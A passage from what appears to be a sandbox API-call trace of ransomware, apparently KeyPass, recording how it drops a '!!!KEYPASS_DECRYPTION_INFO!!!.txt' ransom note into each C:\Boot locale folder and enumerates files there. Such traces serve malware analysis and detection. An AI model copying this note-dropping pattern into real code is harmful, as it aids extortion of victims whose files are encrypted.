lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.338] CloseHandle (hObject=0x3c8) returned 1 [0237.338] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9c38 [0237.338] FindNextFileW (in: hFindFile=0xcb9c38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.338] FindNextFileW (in: hFindFile=0xcb9c38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.338] PathFindExtensionW (pszPath="C:\\Boot\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.338] FindNextFileW (in: hFindFile=0xcb9c38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.338] PathFindExtensionW (pszPath="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned=".mui" [0237.338] FindNextFileW (in: hFindFile=0xcb9c38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.338] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.338] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.338] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.338] GetLastError () returned 0x3f0 [0237.338] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.338] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.339] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\ru-ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0237.396] GetFileType (hFile=0x3cc) returned 0x1 [0237.397] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.397] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.397] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.397] WriteFile (in: hFile=0x3cc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.398] WriteFile (in: hFile=0x3cc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.398] CloseHandle (hObject=0x3cc) returned 1 [0237.399] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9978 [0237.399] FindNextFileW (in: hFindFile=0xcb9978, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.399] FindNextFileW (in: hFindFile=0xcb9978, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.399] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.399] FindNextFileW (in: hFindFile=0xcb9978, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.399] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0237.399] FindNextFileW (in: hFindFile=0xcb9978, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.399] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\memtest.exe.mui") returned=".mui" [0237.399] FindNextFileW (in: hFindFile=0xcb9978, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.399] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.399] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.399] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.399] GetLastError () returned 0x3f0 [0237.399] PathAppendW (in: pszPath="C:\\Boot\\sk-SK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.399] PathFileExistsW (pszPath="C:\\Boot\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.400] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\sk-sk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0237.401] GetFileType (hFile=0x3d0) returned 0x1 [0237.401] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.401] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.401] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.401] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.402] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.402] CloseHandle (hObject=0x3d0) returned 1 [0237.403] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba0f8 [0237.403] FindNextFileW (in: hFindFile=0xcba0f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.403] FindNextFileW (in: hFindFile=0xcba0f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.403] PathFindExtensionW (pszPath="C:\\Boot\\sk-SK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.403] FindNextFileW (in: hFindFile=0xcba0f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.403] PathFindExtensionW (pszPath="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned=".mui" [0237.403] FindNextFileW (in: hFindFile=0xcba0f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.403] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.403] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.403] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.403] GetLastError () returned 0x3f0 [0237.403] PathAppendW (in: pszPath="C:\\Boot\\sl-SI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.403] PathFileExistsW (pszPath="C:\\Boot\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.405] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\sl-si\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0237.406] GetFileType (hFile=0x3d8) returned 0x1 [0237.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.406] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.406] WriteFile (in: hFile=0x3d8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.407] WriteFile (in: hFile=0x3d8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.407] CloseHandle (hObject=0x3d8) returned 1 [0237.407] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9b78 [0237.407] FindNextFileW (in: hFindFile=0xcb9b78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.407] FindNextFileW (in: hFindFile=0xcb9b78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.407] PathFindExtensionW (pszPath="C:\\Boot\\sl-SI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.407] FindNextFileW (in: hFindFile=0xcb9b78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.407] PathFindExtensionW (pszPath="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned=".mui" [0237.407] FindNextFileW (in: hFindFile=0xcb9b78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.407] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.407] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.408] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.408] GetLastError () returned 0x3f0 [0237.408] PathAppendW (in: pszPath="C:\\Boot\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.408] PathFileExistsW (pszPath="C:\\Boot\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.408] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc [0237.410] GetFileType (hFile=0x3dc) returned 0x1 [0237.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.410] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.410] WriteFile (in: hFile=0x3dc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.411] WriteFile (in: hFile=0x3dc, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.411] CloseHandle (hObject=0x3dc) returned 1 [0237.411] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9c78 [0237.411] FindNextFileW (in: hFindFile=0xcb9c78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.411] FindNextFileW (in: hFindFile=0xcb9c78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.411] PathFindExtensionW (pszPath="C:\\Boot\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.411] FindNextFileW (in: hFindFile=0xcb9c78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.411] PathFindExtensionW (pszPath="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned=".mui" [0237.411] FindNextFileW (in: hFindFile=0xcb9c78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.411] PathFindExtensionW (pszPath="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned=".mui" [0237.411] FindNextFileW (in: hFindFile=0xcb9c78, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.411] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.411] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.411] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.411] GetLastError () returned 0x3f0 [0237.412] PathAppendW (in: pszPath="C:\\Boot\\sr-Latn-RS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.412] PathFileExistsW (pszPath="C:\\Boot\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.413] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\sr-latn-rs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0 [0237.413] GetFileType (hFile=0x3e0) returned 0x1 [0237.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.413] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.413] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.414] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.414] CloseHandle (hObject=0x3e0) returned 1 [0237.414] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9db8 [0237.415] FindNextFileW (in: hFindFile=0xcb9db8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.415] FindNextFileW (in: hFindFile=0xcb9db8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.415] PathFindExtensionW (pszPath="C:\\Boot\\sr-Latn-RS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.415] FindNextFileW (in: hFindFile=0xcb9db8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.415] PathFindExtensionW (pszPath="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned=".mui" [0237.415] FindNextFileW (in: hFindFile=0xcb9db8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.415] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.415] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.415] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.415] GetLastError () returned 0x3f0 [0237.415] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.415] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.415] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\sv-se\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e4 [0237.417] GetFileType (hFile=0x3e4) returned 0x1 [0237.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.417] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.417] WriteFile (in: hFile=0x3e4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.418] WriteFile (in: hFile=0x3e4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.418] CloseHandle (hObject=0x3e4) returned 1 [0237.418] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9df8 [0237.419] FindNextFileW (in: hFindFile=0xcb9df8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.419] FindNextFileW (in: hFindFile=0xcb9df8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.419] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.419] FindNextFileW (in: hFindFile=0xcb9df8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.419] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0237.419] FindNextFileW (in: hFindFile=0xcb9df8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.419] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\memtest.exe.mui") returned=".mui" [0237.419] FindNextFileW (in: hFindFile=0xcb9df8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.419] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.419] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.419] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.419] GetLastError () returned 0x3f0 [0237.419] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.419] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.420] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\tr-tr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4 [0237.422] GetFileType (hFile=0x3d4) returned 0x1 [0237.422] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.422] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.422] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.422] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.423] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.423] CloseHandle (hObject=0x3d4) returned 1 [0237.423] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcb9ef8 [0237.423] FindNextFileW (in: hFindFile=0xcb9ef8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.423] FindNextFileW (in: hFindFile=0xcb9ef8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.423] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.423] FindNextFileW (in: hFindFile=0xcb9ef8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.424] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0237.424] FindNextFileW (in: hFindFile=0xcb9ef8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.424] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\memtest.exe.mui") returned=".mui" [0237.424] FindNextFileW (in: hFindFile=0xcb9ef8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.424] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.424] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.424] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.424] GetLastError () returned 0x3f0 [0237.424] PathAppendW (in: pszPath="C:\\Boot\\uk-UA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.424] PathFileExistsW (pszPath="C:\\Boot\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.425] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\uk-ua\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8 [0237.425] GetFileType (hFile=0x3e8) returned 0x1 [0237.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.425] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.426] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: 